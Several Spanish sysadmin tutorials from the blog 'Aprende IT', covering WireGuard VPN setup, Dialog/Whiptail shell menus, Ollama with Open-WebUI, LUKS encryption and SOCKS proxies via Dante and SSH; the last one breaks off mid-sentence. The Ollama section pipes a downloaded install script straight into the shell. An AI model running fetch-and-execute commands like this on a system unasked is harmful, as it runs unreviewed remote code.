1. Actualización del Servidor

Primero, asegúrate de que el servidor Ubuntu esté actualizado.

Ejecutar en el servidor:

sudo apt update && sudo apt upgrade -y

2. Instalación de WireGuard

Instala WireGuard en el servidor.

Ejecutar en el servidor:

sudo apt install wireguard -y

3. Generación de Llaves del Servidor

Genera las claves privadas y públicas del servidor.

Ejecutar en el servidor:

wg genkey | tee /etc/wireguard/server_private.key | wg pubkey > /etc/wireguard/server_public.key

4. Configuración del Servidor WireGuard

Crea el archivo de configuración de WireGuard para el servidor.

Ejecutar en el servidor:

vim /etc/wireguard/wg0.conf

Agrega el siguiente contenido al archivo wg0.conf:

[Interface]
Address = 10.0.0.1/24
ListenPort = 51820
PrivateKey = 

# Habilitar NAT e IP Forwarding
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -A FORWARD -o wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE; echo 1 > /proc/sys/net/ipv4/ip_forward
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -D FORWARD -o wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE; echo 0 > /proc/sys/net/ipv4/ip_forward

# Guardar configuración entre reinicios (opcional)
SaveConfig = true

Reemplaza con la clave privada del servidor generada previamente:

Ejecutar en el servidor:

sudo cat /etc/wireguard/server_private.key

5. Habilitación y Arranque de WireGuard

Activa y arranca el servicio WireGuard.

Ejecutar en el servidor:

sudo systemctl enable wg-quick@wg0
sudo systemctl start wg-quick@wg0

6. Verificación del Estado del Servidor WireGuard

Comprueba que WireGuard esté funcionando correctamente.

Ejecutar en el servidor:

sudo wg

Parte 2: Configuración de los Clientes WireGuard

1. Generación de Llaves del Cliente

Genera las claves privadas y públicas del cliente.

Ejecutar en el servidor:

wg genkey | tee /etc/wireguard/client1_private.key | wg pubkey > /etc/wireguard/client1_public.key

2. Añadir la Configuración del Cliente en el Servidor

Edita el archivo de configuración del servidor para añadir al cliente.

Ejecutar en el servidor:

sudo vim /etc/wireguard/wg0.conf

Agrega el siguiente bloque al final del archivo:

[Peer]
PublicKey = 
AllowedIPs = 10.0.0.2/32

Reemplaza con la clave pública del cliente que generaste:

Ejecutar en el servidor:

sudo cat /etc/wireguard/client1_public.key

3. Creación del Archivo de Configuración del Cliente

Crea el archivo de configuración del cliente.

Ejecutar en el servidor:

sudo nano /etc/wireguard/client1.conf

Agrega el siguiente contenido al archivo client1.conf:

[Interface]
PrivateKey = 
Address = 10.0.0.2/24
DNS = 1.1.1.1

[Peer]
PublicKey = 
Endpoint = :51820
AllowedIPs = 0.0.0.0/0

Reemplaza con la clave privada del cliente:

Ejecutar en el servidor:

sudo cat /etc/wireguard/client1_private.key

Reemplaza con la clave pública del servidor:

Ejecutar en el servidor:

sudo cat /etc/wireguard/server_public.key

Reemplaza con la dirección IP pública del servidor.

4. Generación de un Código QR para el Cliente

WireGuard permite que los clientes móviles configuren fácilmente la VPN mediante un código QR.

Instala la herramienta qrencode en el servidor:

sudo apt install qrencode -y

Genera el código QR para la configuración del cliente:

Ejecutar en el servidor:

qrencode -t ansiutf8 < /etc/wireguard/client1.conf

Este comando generará un código QR en la terminal que el cliente puede escanear con su aplicación WireGuard en Android o iOS.

5. Instalación y Configuración de WireGuard en el Cliente

Instala WireGuard en el dispositivo cliente:

Linux:

Ejecutar en el cliente:

sudo apt update && sudo apt install wireguard resolvconf iptables -y

Windows/Mac:

Descarga e instala la aplicación WireGuard desde el sitio oficial: https://www.wireguard.com/install/

Android/iOS:

Descarga la aplicación WireGuard desde Google Play Store o Apple App Store.

Configura WireGuard en el cliente:

Para Linux/Windows/Mac:

Importa el archivo de configuración client1.conf en la aplicación WireGuard.

Para dispositivos que no pueden usar un código QR, transfiere el archivo de configuración client1.conf al dispositivo cliente.

Una opción puede ser ejecutar desde el servidor el siguiente SCP si el servidor tiene acceso por SSH al cliente:

scp /etc/wireguard/client1.conf usuario@ip_cliente:/ruta/de/destino/

El fichero debe quedar en la ruta «/etc/wireguard/wg0.conf», si has podido hacer el SCP ya lo has completado, si no puedes  hacerlo, crea el fichero directamente en esa ruta y copia el contenido.

Android/iOS:

Abre la aplicación WireGuard y escanea el código QR generado anteriormente.
Conecta el Cliente a la VPN:

En la aplicación WireGuard del cliente, activa la conexión.

6. Verificación de la Conexión

Una vez conectado, prueba la conexión:

Ejecutar en el cliente:

ping 10.0.0.1

Esto debería devolver respuestas del servidor, indicando que la conexión VPN está funcionando correctamente.

Parte 3: Mantenimiento y Gestión

1. Añadir Más Clientes

Para añadir más clientes, simplemente repite los pasos de la Parte 2 para generar nuevas llaves, configurar nuevos pares en el servidor, y crear archivos de configuración para cada cliente.

2. Reiniciar el Servicio WireGuard

Si realizas cambios en la configuración del servidor, asegúrate de reiniciar el servicio:

Ejecutar en el servidor:

sudo systemctl restart wg-quick@wg0

3. Monitoreo del Estado de la VPN

Puedes verificar el estado de los pares conectados y sus estadísticas:

Ejecutar en el servidor:

sudo wg show

Vídeo

Esto te proporcionará información sobre los clientes conectados y el tráfico que están generando.

Siguiendo esta guía paso a paso, deberías poder configurar un servidor WireGuard en Ubuntu y conectar clientes de manera sencilla, incluyendo la opción de usar un código QR para la configuración en dispositivos móviles.

La entrada Cómo crear un servicio VPN con Wireguard se publicó primero en Aprende IT.

Tanto Dialog como Whiptail son herramientas que permiten crear interfaces gráficas simples y funcionales dentro de un terminal de texto. Estas herramientas son muy útiles para desarrollar menús, cuadros de diálogo, listas de selección, barras de progreso y mucho más. A lo largo de este artículo, te guiaremos a través de los conceptos básicos y ejemplos prácticos de ambas herramientas para que puedas utilizarlas en tus propios scripts.

¿Qué es Dialog?

Dialog es una herramienta de línea de comandos utilizada para generar cuadros de diálogo interactivos en terminales basados en texto. Es ampliamente utilizada en scripts de shell para crear menús interactivos, cuadros de confirmación, formularios, barras de progreso, entre otros.
Dialog permite a los usuarios interactuar con un script a través de una interfaz de usuario basada en texto, lo que es especialmente útil en entornos de servidores donde no se dispone de una interfaz gráfica completa.

Instalación de Dialog

Para instalar Dialog en una distribución basada en Debian o Ubuntu, simplemente ejecuta el siguiente comando:

sudo apt-get update
sudo apt-get install dialog

Para distribuciones basadas en Red Hat como CentOS o Fedora:

sudo yum install dialog

Ejemplos básicos de Dialog

Cuadro de mensaje simple

Este ejemplo muestra un cuadro de mensaje simple que solo tiene un botón «OK»:

#!/bin/bash
dialog --title "Mensaje" --msgbox "Hola, este es un cuadro de mensaje simple." 6 50
Explicación: En este script, --title define el título del cuadro de diálogo, --msgbox es el tipo de diálogo utilizado, "6 50" son las dimensiones del cuadro (6 líneas de alto y 50 caracteres de ancho).

Menú interactivo

El siguiente ejemplo crea un menú donde el usuario puede seleccionar una opción:

#!/bin/bash
opcion=$(dialog --title "Menú Principal" --menu "Selecciona una opción:" 15 50 4
1 "Opción 1"
2 "Opción 2"
3 "Opción 3"
4 "Salir" 3>&1 1>&2 2>&3)

clear

echo "Has seleccionado la opción: $opcion"

Explicación: El menú se muestra con opciones numeradas. 3>&1 1>&2 2>&3 se utiliza para redirigir la selección del usuario de vuelta a la salida estándar.

Lista de selección

En este ejemplo, el usuario puede seleccionar uno o más elementos de una lista:

#!/bin/bash
opciones=$(dialog --title "Selección de Paquetes" --checklist "Selecciona los paquetes que deseas instalar:" 15 50 5
1 "Apache" off
2 "MySQL" off
3 "PHP" off
4 "Python" off
5 "Java" off 3>&1 1>&2 2>&3)

clear

echo "Paquetes seleccionados: $opciones"

Explicación: –checklist crea una lista de elementos con casillas de verificación, donde off indica que la casilla está desmarcada por defecto.

Barra de progreso

Las barras de progreso son útiles para mostrar el avance de una tarea. Aquí tienes un ejemplo:

#!/bin/bash
{
for ((i = 0 ; i <= 100 ; i+=10)); do
sleep 1
echo $i
done
} | dialog --title "Progreso" --gauge "Instalando..." 10 70 0

Explicación: –gauge se utiliza para crear una barra de progreso. El bucle for simula el avance de una tarea, incrementando la barra en un 10% cada segundo.

¿Qué es Whiptail?

Whiptail es una alternativa ligera a Dialog que también permite crear interfaces interactivas basadas en texto en scripts de shell. Aunque Whiptail ofrece un conjunto similar de funciones, es especialmente útil en sistemas donde Dialog no está disponible o donde se prefiere una herramienta más liviana.
Instalación de Whiptail

Para instalar Whiptail en Debian, Ubuntu y sus derivados:

sudo apt-get update
sudo apt-get install whiptail

En distribuciones como CentOS, Red Hat y Fedora:

sudo yum install newt

Ejemplos básicos de Whiptail

Cuadro de mensaje simple

Al igual que con Dialog, puedes crear un cuadro de mensaje simple:

#!/bin/bash

whiptail --title "Mensaje" --msgbox "Este es un mensaje simple usando Whiptail." 8 45

Explicación: Este ejemplo es similar al de Dialog, pero utilizando Whiptail. Las dimensiones del cuadro son ligeramente diferentes.

Menú interactivo

Crear menús interactivos es sencillo con Whiptail:

#!/bin/bash

opcion=$(whiptail --title "Menú Principal" --menu "Elige una opción:" 15 50 4 \
"1" "Opción 1" \
"2" "Opción 2" \
"3" "Opción 3" \
"4" "Salir" 3>&1 1>&2 2>&3)

clear

echo "Has elegido la opción: $opcion"

Explicación: Este script funciona de manera similar al ejemplo de Dialog, permitiendo al usuario seleccionar una opción de un menú.

Lista de selección

Whiptail también permite crear listas de selección con casillas de verificación:

#!/bin/bash

opciones=$(whiptail --title "Selección de Paquetes" --checklist "Selecciona los paquetes que deseas instalar:" 15 50 5 \
"Apache" "" ON \
"MySQL" "" OFF \
"PHP" "" OFF \
"Python" "" OFF \
"Java" "" OFF 3>&1 1>&2 2>&3)

clear

echo "Paquetes seleccionados: $opciones"

Explicación: En este ejemplo, «ON» indica que la casilla de verificación está marcada por defecto, a diferencia del «off» de Dialog.

Barra de progreso

Finalmente, aquí tienes un ejemplo de una barra de progreso con Whiptail:

#!/bin/bash

{
    for ((i = 0 ; i <= 100 ; i+=10)); do
        sleep 1
        echo $i
    done
} | whiptail --gauge "Instalando..." 6 50 0

Explicación: Este ejemplo es muy similar al de Dialog, pero usando la sintaxis de Whiptail.

Tanto Dialog como Whiptail son herramientas poderosas y flexibles que permiten a los administradores de sistemas y desarrolladores crear interfaces de usuario interactivas dentro de un terminal. Aunque ambas herramientas son similares en funcionalidad, la elección entre una u otra puede depender de las necesidades específicas del sistema y las preferencias personales.

Dialog es más popular y ampliamente documentado, mientras que Whiptail es una alternativa más ligera que puede ser preferida en sistemas donde la minimización del uso de recursos es crucial.

En este artículo, hemos cubierto los conceptos básicos de Dialog y Whiptail con ejemplos prácticos que te permitirán comenzar a crear tus propios scripts interactivos. Ya sea que necesites un menú simple, un cuadro de mensaje o una barra de progreso, estas herramientas te proporcionarán las funcionalidades necesarias para mejorar la interacción de los usuarios con tus scripts.

Recuerda que la clave para dominar estas herramientas es la práctica. Prueba los ejemplos proporcionados, modifícalos para adaptarlos a tus necesidades, y continúa explorando las múltiples posibilidades que Dialog y Whiptail ofrecen para hacer que tus scripts sean más intuitivos y fáciles de usar.

Video

Script del video

A continuación pongo dos scripts de ejemplo de dos menús interactivos:

Dialog

#!/bin/bash

# Ejemplo de menú usando Dialog
dialog --menu "Seleccione una opción:" 15 50 4 \
1 "Ver información del sistema" \
2 "Mostrar uso del disco" \
3 "Configurar red" \
4 "Salir" 2>seleccion.txt

# Leer la opción seleccionada
opcion=$(cat seleccion.txt)

case $opcion in
    1)
        echo "Mostrando información del sistema..."
        # Aquí irían los comandos correspondientes
        ;;
    2)
        echo "Mostrando uso del disco..."
        # Aquí irían los comandos correspondientes
        ;;
    3)
        echo "Configurando la red..."
        # Aquí irían los comandos correspondientes
        ;;
    4)
        echo "Saliendo..."
        exit 0
        ;;
    *)
        echo "Opción no válida."
        ;;
esac

El resultado sería:

Whiptail

#!/bin/bash

# Ejemplo de menú usando Whiptail
opcion=$(whiptail --title "Menú Principal" --menu "Seleccione una opción:" 15 50 4 \
"1" "Ver información del sistema" \
"2" "Mostrar uso del disco" \
"3" "Configurar red" \
"4" "Salir" 3>&1 1>&2 2>&3)

# Verificar la opción seleccionada
case $opcion in
    1)
        echo "Mostrando información del sistema..."
        # Aquí irían los comandos correspondientes
        ;;
    2)
        echo "Mostrando uso del disco..."
        # Aquí irían los comandos correspondientes
        ;;
    3)
        echo "Configurando la red..."
        # Aquí irían los comandos correspondientes
        ;;
    4)
        echo "Saliendo..."
        exit 0
        ;;
    *)
        echo "Opción no válida."
        ;;
esac

Con whiptail el resultado sería este otro:

Como se puede ver, los resultados son muy parecidos.

Referencias y documentación

Para dialog y whiptail podemos encontrar una amplia documentación en https://invisible-island.net/dialog/dialog.html

La entrada Crear Scripts Interactivos en Linux: Usando Dialog o Whiptail se publicó primero en Aprende IT.

En la era digital, los chatbots de IA se están convirtiendo en herramientas indispensables para mejorar la experiencia del usuario en sitios web, aplicaciones y servicios. Si alguna vez has querido crear tu propio chatbot, estás en el lugar correcto. Hoy te voy a guiar paso a paso para que puedas configurar un chatbot utilizando Ollama y Open-WebUI. Vamos a profundizar en aspectos técnicos, así que prepárate para ensuciarte las manos con algunos comandos.

Instalación de Ollama sin Docker

Para empezar, vamos a instalar Ollama en tu sistema sin usar Docker. Este método es ideal si prefieres no lidiar con contenedores y deseas tener un control más directo sobre la instalación.

Descarga e instalación de Ollama

El primer paso es descargar e instalar Ollama utilizando un sencillo script. Abre tu terminal y ejecuta el siguiente comando:

curl https://ollama.ai/install.sh | sh

Este comando descargará e instalará Ollama en tu sistema. El script se encargará de todos los detalles, así que no necesitas preocuparte por las dependencias.

Iniciar el servicio de Ollama

Una vez que la instalación haya finalizado, es hora de iniciar el servicio de Ollama. Esto lo haremos con el siguiente comando:

systemctl start ollama

Este comando inicia el servicio de Ollama, permitiendo que esté listo para ejecutar los modelos de IA.

Ejecutar modelos de IA con Ollama

Con Ollama instalado y el servicio en funcionamiento, el siguiente paso es ejecutar los modelos de IA. Ollama soporta varios modelos, y en este ejemplo, usaremos llama2 y mistral. Para ejecutar llama2, utiliza el siguiente comando:

ollama run llama2

Para ejecutar mistral, simplemente cambia el nombre del modelo en el comando:

ollama run mistral

Con estos comandos, tu instalación de Ollama estará ejecutando modelos de IA, listos para interactuar y responder a las consultas que le hagas.

Instalación de Ollama con Docker

Ahora, vamos a ver cómo instalar y configurar Ollama utilizando Docker. Este método es útil si prefieres tener un entorno más aislado y fácil de gestionar.

Detener el servicio de Ollama

Antes de continuar con Docker, necesitamos detener el servicio de Ollama que iniciamos anteriormente. Hazlo con el siguiente comando:

systemctl stop ollama

Configuración de Ollama con Docker

Con el servicio detenido, procedemos a configurar Ollama en un contenedor Docker. Ejecuta el siguiente comando para crear y ejecutar el contenedor:

docker run -d -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama

Este comando hace lo siguiente:

• -d ejecuta el contenedor en segundo plano.
• -v ollama:/root/.ollama monta un volumen para persistir los datos de Ollama.
• -p 11434:11434 asigna el puerto 11434 del host al contenedor.
• –name ollama nombra el contenedor como «ollama».

Ejecutar modelos de IA en Docker

Con el contenedor en funcionamiento, podemos ejecutar los modelos de IA dentro del contenedor. Utiliza el siguiente comando para acceder al contenedor y ejecutar el modelo mistral:

docker exec -it ollama ollama run mistral

Ahora, tu instalación de Ollama dentro de Docker está lista para funcionar con modelos de IA.

Levantar la Interfaz Web con Open-WebUI

Para hacer que la interacción con tu chatbot de IA sea más accesible y amigable, vamos a configurar una interfaz web utilizando Open-WebUI. Esta interfaz te permitirá interactuar con tu chatbot de manera visual y sencilla.

Configuración de Open-WebUI

Primero, asegúrate de que Ollama esté configurado correctamente y que el contenedor esté en funcionamiento. Luego, ejecuta el siguiente comando para levantar la interfaz web:

docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama

Este comando hace lo siguiente:

• -d ejecuta el contenedor en segundo plano.
• -p 3000:8080 asigna el puerto 3000 del host al puerto 8080 del contenedor.
• -v ollama:/root/.ollama monta el volumen de Ollama.
• -v open-webui:/app/backend/data monta un volumen para los datos de Open-WebUI.
• –name open-webui nombra el contenedor como «open-webui».
• –restart always asegura que el contenedor se reinicie automáticamente si se detiene.

Acceder a la Interfaz Web

Con Open-WebUI en funcionamiento, puedes acceder a la interfaz web abriendo tu navegador y dirigiéndote a http://DIRECCION-DE-TU-SERVIDOR:3000

Aquí podrás interactuar con tu chatbot de IA de manera visual, realizar pruebas y ajustes según tus necesidades.

Documentación de Ollama

Aquí encontrarás información detallada sobre los parámetros válidos y sus valores, lo que te permitirá ajustar los modelos de IA para obtener los mejores resultados.

Documentación de Open-WebUI

Esta guía te proporcionará toda la información necesaria para personalizar la interfaz web, añadir nuevas funcionalidades y solucionar posibles problemas.

Pruebas y Mantenimiento
Una vez que tu chatbot de IA esté en funcionamiento, es importante realizar pruebas regulares para asegurarte de que todo funcione correctamente. Interactúa con el chatbot, realiza ajustes según sea necesario y mantén el software actualizado para aprovechar las últimas mejoras y correcciones de seguridad.

Con esta guía, ahora tienes todo lo que necesitas para crear tu propio chatbot de IA utilizando Ollama y Open-WebUI. No dudes en experimentar y ajustar según tus necesidades. ¡Buena suerte en tu aventura de creación de chatbots!

La entrada Cómo crear tu Propio Chatbot de IA con Ollama y Open-WebUI se publicó primero en Aprende IT.

Instalación de Herramientas Necesarias

Antes de sumergirnos en el mundo del cifrado con LUKS, es esencial asegurarse de tener las herramientas adecuadas instaladas en tu sistema. Por lo general, la mayoría de las distribuciones de Linux incluyen estas herramientas de cifrado de manera predeterminada, pero siempre es bueno verificarlo.

Puedes instalar las herramientas necesarias utilizando el gestor de paquetes de tu distribución. En distribuciones basadas en Debian, como Ubuntu, puedes ejecutar el siguiente comando en la terminal:

sudo apt install cryptsetup

Si estás utilizando una distribución basada en Red Hat, como Fedora o CentOS, puedes instalar las herramientas de cifrado con el siguiente comando:

sudo dnf install cryptsetup

Una vez que hayas instalado cryptsetup, estarás listo para comenzar a trabajar con LUKS.

Creación de un Volumen LUKS

El primer paso para cifrar una partición o disco en Linux es crear un volumen LUKS. Este volumen actuará como una capa de cifrado que protegerá los datos almacenados en la partición o disco.

Para crear un volumen LUKS, necesitarás especificar la partición o disco que deseas cifrar. Asegúrate de que la partición esté desmontada antes de proceder. Supongamos que queremos cifrar la partición /dev/sdb1. El siguiente comando creará un volumen LUKS en esta partición:

sudo cryptsetup luksFormat /dev/sdb1

Este comando iniciará el proceso de creación del volumen LUKS en la partición especificada. Serás solicitado a confirmar esta acción, ya que el proceso borrará todos los datos existentes en la partición. Después de confirmar, se te pedirá que ingreses una contraseña para desbloquear el volumen LUKS en el futuro. Asegúrate de elegir una contraseña segura y recuérdala bien, ya que la necesitarás cada vez que quieras acceder a los datos cifrados.

Una vez completado el proceso, tendrás un volumen LUKS creado en la partición especificada, listo para ser utilizado.

Apertura y Cierre del Volumen LUKS

Después de crear un volumen LUKS, el siguiente paso es abrirlo para poder acceder a los datos almacenados en él. Para abrir un volumen LUKS, necesitarás especificar la partición que contiene el volumen y asignarle un nombre.

sudo cryptsetup luksOpen /dev/sdb1 mi_particion_cifrada

En este comando, /dev/sdb1 es la partición que contiene el volumen LUKS, y mi_particion_cifrada es el nombre que le estamos asignando al volumen abierto. Una vez que ejecutas este comando, se te pedirá que ingreses la contraseña que especificaste durante la creación del volumen LUKS. Después de ingresar la contraseña correcta, el volumen se abrirá y estará listo para ser utilizado.

Para cerrar el volumen LUKS y bloquear el acceso a los datos cifrados, puedes utilizar el siguiente comando:

sudo cryptsetup luksClose mi_particion_cifrada

Este comando cerrará el volumen LUKS con el nombre especificado (mi_particion_cifrada en este caso), lo que impedirá el acceso a los datos almacenados en él hasta que vuelva a abrirse.

Creación de un Sistema de Archivos en un Volumen LUKS

Una vez que hayas abierto un volumen LUKS, puedes crear un sistema de archivos en él para comenzar a almacenar datos de forma segura. Puedes utilizar cualquier sistema de archivos compatible con Linux, como xfs, xfs o btrfs.

Supongamos que queremos crear un sistema de archivos xfs en el volumen LUKS abierto (mi_particion_cifrada). El siguiente comando creará un sistema de archivos xfs en el volumen:

sudo mkfs.xfs /dev/mapper/mi_particion_cifrada

Este comando formateará el volumen LUKS abierto con un sistema de archivos xfs, lo que te permitirá empezar a almacenar datos en él de manera segura.

Montaje y Desmontaje de un Volumen LUKS

Una vez que hayas creado un sistema de archivos en un volumen LUKS, puedes montarlo en el sistema de archivos para acceder a los datos almacenados en él. Para montar un volumen LUKS, puedes utilizar el siguiente comando:

sudo mount /dev/mapper/mi_particion_cifrada /mnt

En este comando, /dev/mapper/mi_particion_cifrada es la ruta al dispositivo de bloque que representa el volumen LUKS abierto, y /mnt es el punto de montaje donde se montará el sistema de archivos.

Después de montar el volumen LUKS, puedes acceder a los datos almacenados en él como lo harías con cualquier otro sistema de archivos montado en Linux. Cuando hayas terminado de trabajar con los datos, puedes desmontar el volumen LUKS utilizando el siguiente comando:

sudo umount /mnt

Este comando desmontará el sistema de archivos del volumen LUKS, lo que evitará que accedas a los datos almacenados en él hasta que vuelva a montarse.

Administración de Volumenes LUKS

LUKS proporciona varias herramientas para administrar volumenes, incluida la capacidad de cambiar la contraseña, agregar claves adicionales y realizar copias de seguridad de las cabeceras de los volumenes.

Para cambiar la contraseña de un volumen LUKS, puedes utilizar el siguiente comando:

sudo cryptsetup luksChangeKey /dev/sdb1

Este comando te pedirá la contraseña actual del volumen LUKS y luego te permitirá ingresar una nueva contraseña.

Si deseas agregar una clave adicional al volumen LUKS, puedes utilizar el siguiente comando:

sudo cryptsetup luksAddKey /dev/sdb1

Este comando te pedirá la contraseña actual del volumen LUKS y luego te permitirá ingresar una nueva clave adicional.

Para realizar una copia de seguridad de la cabecera de un volumen LUKS, puedes utilizar el siguiente comando:

sudo cryptsetup luksHeaderBackup /dev/sdb1 --header-backup-file backup_file

Este comando realizará una copia de seguridad de la cabecera del volumen LUKS en el archivo especificado, lo que te permitirá restaurarla en caso de que se dañe la cabecera del volumen.

Resumen de comandos para crear volumen cifrado con luks

sudo cryptsetup luksFormat /dev/DISCO
sudo cryptsetup luksOpen /dev/DISCO DISCO_DESCIFRADO
sudo mkfs.xfs /dev/mapper/DISCO_DESCIFRADO
sudo mount /dev/mapper/DISCO_DESCIFRADO /ruta_de_montaje

Integración con crypttab y fstab

Una vez que has cifrado una partición o disco utilizando LUKS en Linux, es posible que desees configurar la apertura automática del contenedor LUKS durante el arranque del sistema y montarlo en un punto específico del sistema de archivos. Esto se puede lograr utilizando los archivos de configuración crypttab y fstab.

Configuración de crypttab

El archivo crypttab se utiliza para configurar el mapeo automático de dispositivos cifrados durante el proceso de arranque del sistema. Puedes especificar los dispositivos cifrados y sus correspondientes claves de cifrado en este archivo.

Para configurar un dispositivo cifrado en crypttab, primero necesitas conocer el UUID (Identificador Único Universal) del contenedor LUKS. Puedes encontrar el UUID ejecutando el siguiente comando:

sudo cryptsetup luksUUID /dev/sdb1

Una vez que tengas el UUID del contenedor LUKS, puedes agregar una entrada en el archivo crypttab para configurar el mapeo automático. Por ejemplo, supongamos que el UUID del contenedor LUKS es 12345678-1234-1234-1234-123456789abc. Puedes agregar la siguiente entrada en el archivo crypttab:

mi_particion_cifrada UUID=12345678-1234-1234-1234-123456789abc none luks

También puede hacerse así en este caso sin usar el UUID:

mi_particion_cifrada /dev/sdb1 none luks

En esta entrada, mi_particion_cifrada es el nombre que le hemos dado al contenedor LUKS, y UUID=12345678-1234-1234-1234-123456789abc es el UUID del contenedor. La palabra none indica que no se utiliza una clave precompartida y luks especifica que el dispositivo está cifrado con LUKS.

Configuración de fstab

Una vez que has configurado el mapeo automático del dispositivo cifrado en crypttab, puedes configurar el montaje automático del sistema de archivos en fstab. El archivo fstab se utiliza para configurar el montaje automático de sistemas de archivos durante el arranque del sistema.

Para configurar el montaje automático de un sistema de archivos en fstab, primero necesitas conocer el punto de montaje y el tipo de sistema de archivos del contenedor LUKS. Supongamos que el punto de montaje es /mnt/mi_particion y el sistema de archivos es xfs. Puedes agregar una entrada en el archivo fstab de la siguiente manera:

/dev/mapper/mi_particion_cifrada /mnt/mi_particion xfs defaults 0 2

En esta entrada, /dev/mapper/mi_particion_cifrada es la ruta al dispositivo de bloque que representa el contenedor LUKS abierto, /mnt/mi_particion es el punto de montaje donde se montará el sistema de archivos, xfs es el tipo de sistema de archivos, defaults especifica las opciones de montaje por defecto, y 0 2 especifica las opciones de comprobación del sistema de archivos.

Recomendaciones con crypptab

En el caso de un servidor yo no tendría activo el crypttab, es decir, dejaria la configuración puesta pero comentada, al igual que con el fstab, Haría los montajes de forma manual tras un reinicio. Así evitamos tener que usar ficheros de clave y tener algunos problemas derivados

La entrada Cifrado de Particiones y Discos con LUKS en Linux se publicó primero en Aprende IT.

En la era digital, mantener la privacidad y seguridad en línea es más crucial que nunca. Una de las maneras de proteger tu identidad y datos en la red es a través del uso de un servidor proxy SOCKS. Este tipo de proxy actúa como un intermediario entre tu dispositivo y el internet, ocultando tu dirección IP real y cifrando tu tráfico de internet. En este artículo, te guiaremos paso a paso en cómo configurar tu propio servidor proxy SOCKS en Ubuntu utilizando Dante, un servidor proxy versátil y de alto rendimiento.

Iniciando la instalación de Dante

Antes de sumergirnos en la configuración de Dante, es esencial preparar tu sistema y asegurarte de que está actualizado. Para ello, abre una terminal y ejecuta los siguientes comandos:

sudo apt update
sudo apt install dante-server

Estos comandos actualizarán la lista de paquetes de tu sistema y luego instalarán Dante, respectivamente.

Configuración del archivo danted.conf

Una vez instalado Dante, el siguiente paso es configurar el servidor proxy. Esto se hace editando el archivo de configuración danted.conf ubicado en /etc/danted/. Para ello, usa tu editor de texto preferido. Aquí, utilizaremos vim:

vim /etc/danted.conf

Dentro de este archivo, debes especificar detalles cruciales como las interfaces externa e interna, el método de autenticación y las reglas de acceso. A continuación, te mostramos una configuración ejemplo que puedes ajustar según tus necesidades:

logoutput: syslog
user.privileged: root
user.unprivileged: nobody

# La interfaz externa (puede ser tu dirección IP pública o el nombre de la interfaz)
external: eth0

# La interfaz interna (usualmente la dirección IP de tu servidor o loopback)
internal: 0.0.0.0 port=1080

# Método de autenticación
socksmethod: username

# Reglas de acceso
client pass {
    from: 0.0.0.0/0 to: 0.0.0.0/0
    log: connect disconnect error
}

# Quién puede utilizar este proxy
socks pass {
    from: 0.0.0.0/0 to: 0.0.0.0/0
    command: bind connect udpassociate
    log: connect disconnect error
    socksmethod: username
}

Esta configuración define un servidor SOCKS que escucha en todas las interfaces disponibles (0.0.0.0) en el puerto 1080. Utiliza autenticación por nombre de usuario y permite conexiones desde y hacia cualquier dirección.

Creación de un usuario para el proxy

Para que el proxy sea seguro y no esté abierto al público, es necesario crear un usuario específico para la conexión. Esto se logra con los siguientes comandos:

sudo useradd -r -s /bin/false nombre_usuario
sudo passwd nombre_usuario

Aquí, nombre_usuario es el nombre de usuario que deseas para la conexión al proxy. El comando useradd crea el usuario, y passwd te permite asignarle una contraseña.

Reiniciar y habilitar el servicio Dante

Con el usuario creado y el archivo de configuración ajustado, es momento de reiniciar el servicio Dante y asegurarse de que se ejecute al inicio del sistema:

sudo systemctl restart danted.service
sudo systemctl enable danted.service
sudo systemctl status danted.service

Además, es importante asegurarse de que el puerto 1080, que es donde escucha el proxy, esté permitido en el firewall:

sudo ufw allow 1080/tcp

Comprobación de la conexión

Finalmente, para verificar que todo está funcionando correctamente, puedes probar la conexión a través del proxy con el siguiente comando:

curl -v -x socks5://nombre_usuario:contraseña@tu_ip_del_servidor:1080 https://cualesmiip.es/

Recuerda reemplazar nombre_usuario, contraseña y tu_ip_del_servidor con tus datos específicos. Este comando utilizará tu servidor proxy para acceder a un sitio web que muestra tu dirección IP pública, verificando así que el tráfico realmente está siendo redirigido a través del proxy SOCKS.

Configurar un servidor proxy SOCKS con Dante puede parecer complejo al principio, pero siguiendo estos pasos, podrás tener un poderoso sistema

Puedes configurar un servidor proxy SOCKS5 utilizando OpenSSH en Ubuntu 22.04, lo cual es una alternativa más sencilla y directa en ciertos casos, especialmente para uso personal o en situaciones donde ya tienes un servidor SSH configurado. A continuación, te explico cómo hacerlo:

Crear un proxy Socks 5 con OpenSSH

A diferencia de dante, con el cual podemos crear un servicio de proxy con autenticación, con OpenSSH, podemos crear un tunel en un puerto que se puede utilizar de proxy socks sin autenticación por lo que lo conveniente es que se utilice solo para localhost dentro de un solo equipo (luego explicaremos mejor esto)

Instalación de OpenSSH Server

Si aún no tienes OpenSSH Server instalado en tu servidor que va a hacer de proxy, puedes instalarlo con el siguiente comando siempre y cuando sea una distribución basada en Debian / Ubuntu:

sudo apt update
sudo apt install openssh-server

Asegúrate de que el servicio está activo y se ejecuta correctamente con:

sudo systemctl status ssh

Configuración del Servidor SSH (Opcional)

Por defecto, OpenSSH escucha en el puerto 22. Puedes ajustar configuraciones adicionales editando el archivo /etc/ssh/sshd_config, como cambiar el puerto, restringir el acceso a ciertos usuarios, etc. Si realizas cambios, recuerda reiniciar el servicio SSH:

sudo systemctl restart ssh

Uso de SSH como un Proxy SOCKS5

Para configurar un túnel SSH que funcione como un proxy SOCKS5, utiliza el siguiente comando desde tu cliente (no en el servidor). Este comando establece un túnel SSH que escucha localmente en tu máquina en el puerto especificado (por ejemplo, 1080) y redirige el tráfico a través del servidor SSH:

ssh -D 1080 -C -q -N usuario@direccion_servidor

• -D 1080 especifica que SSH debe crear un proxy SOCKS5 en el puerto local 1080.
• -C comprime los datos antes de enviarlos.
• -q habilita el modo silencioso que minimiza los mensajes de log.
• -N indica que no se ejecuten comandos remotos, útil cuando solo quieres establecer el túnel.
• usuario es tu nombre de usuario en el servidor SSH.
• direccion_servidor es la dirección IP o dominio de tu servidor SSH.

En este punto es donde comentamos que con la opción -D debemos indicar unicamente el puerto ya que si exponemos el puerto a toda la red podemos estar permitiendo que otros equipos de la red utilicen este proxy sin autenticarse:

